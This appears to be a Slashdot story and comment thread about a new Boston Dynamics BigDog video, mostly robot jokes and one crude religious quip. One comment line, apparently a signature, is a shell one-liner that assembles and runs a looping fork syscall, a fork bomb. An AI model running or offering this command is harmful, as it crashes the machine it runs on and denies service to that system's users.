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New BigDog Robot Video
John860 writes "The US company Boston Dynamics has released an amazing new video of its quadruped robot BigDog. The highlight of the video (at 1:24) shows how the robot starts slipping on ice, almost falls several times, but finally regains its balance and continues walking. The video also shows the robot's ability to cope with different types of terrains, climb and descend steep slopes, and jump. Two years ago, the older version of BigDog was already able to climb slopes, keep its balance after a strong kick, and walk on rough terrain like stones, mud, and snow. The new version weighs 235 lbs and can carry a payload of up to 340 lbs, a factor of 4 better than its predecessor."
The US company Boston Dynamics has released an amazing new video of its quadruped robot
The walking motion is much like a goat. A goat, see?
The theory of relativity doesn't work right in Arkansas.
Hafez, you get the shipment of Korans from Amazon yet?
Yeah, but it was delivered by this weird mechanical goat thing that buzzed like a swarm of bees in a poppy field.
Hmm. I believe my RealGoat delivery has arrived! Allahu Ackbar!
http://uk.youtube.com/watch?v=mmVaLp8icoU
Uck you too, buddy!
I highly doubt that it's very real.. You see, I would kick our dog right now like that.. there!.. his true reaction wou3eim em,,yuktie2;'36+ .0
BigDog totally fucking rules. I agree with the post that it looks like two guys in a dog suit.
One giant leap for Imperial walkers...
In Soviet Russia YOU are robot dog's overlord.
Crap. What did the new CSS do with the "Post anonymously" option??
It reacting to a kick was so lifelike I wanted to call Peta
:)
Sounds like maybe we should call PETA on you, since it sounds like you know exactly how an animal reacts when it gets violently kicked
Maybe the combat versions come with a Lunge and Bite Service Pack that corrects the "Unexpected Response to Kick" bug.
The civillian versions will be all plush and lovable (though huge) until some glitch reenables the combat subroutine. Lone cop and beautiful female computer scientist will then need to fight their way to the Mans' Best Friend central computer to press the reset button. One of the dogs will stay loyal and help them, the rest (with glowing red eyes, to tell the slower audience members that they are Evil) will terrorise the population.
Joe Dante will direct "Mans' Best Friend" (working title "Pastiche 3") of course, from a novel by Steven King. The cast will all be scientologists and there will be a few references to engrams and so on in the script, or maybe just adlibbed in. The movie will start with Eisenhower's speech about the Military Industrial complex and then cut to something ironic, like a weapons factory stripping the weapons off a giant robot dog endoskeleton, wrapping it in plush fur and loading it into a box labelled "Mans' Best Friend".
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Extreme Programming - Redundant Array of Inexpensive Developers
David Hanson, a roboticist who developed a realistic robotic copy of his girlfriend's head, said that the idea of the uncanny valley is "really pseudoscientific, but people treat it like it is science. I love how that point is just thrown in there all nonchalantly.
I kept thinking about those mutant Headcrab things from Half-Life